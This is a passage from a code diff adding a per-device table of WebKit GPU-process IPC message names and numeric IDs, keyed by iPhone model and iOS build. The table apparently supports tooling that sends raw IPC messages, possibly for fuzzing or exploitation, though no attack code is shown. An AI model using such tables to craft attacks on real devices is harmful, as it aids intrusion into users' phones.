0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,2_4_6_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone11,6_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + +"iPhone11,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,8_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,3_5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone12,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone12,8_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + 